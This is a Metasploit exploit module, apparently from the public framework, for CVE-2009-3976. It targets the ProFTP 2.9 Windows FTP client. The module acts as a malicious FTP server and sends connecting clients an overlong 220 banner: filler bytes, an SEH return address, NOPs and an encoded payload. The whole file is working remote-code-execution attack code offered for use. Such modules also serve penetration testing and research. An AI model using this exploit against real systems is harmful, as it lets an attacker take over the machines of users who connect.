##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the ProFTP 2.9
          client that is triggered through an excessively long welcome message.
        },
        'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-3976' ],
          [ 'OSVDB', '57394' ],
          [ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          # Tested against - XP SP3 English OK.
          [ 'Universal',	{ 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-08-25',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
      ]
    )
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    buffer = "220 "
    buffer << rand_text_numeric(2064)
    buffer << [target.ret].pack('V')
    buffer << make_nops(20)
    buffer << payload.encoded
    buffer << "\r\n"
    client.put(buffer)
  end
end
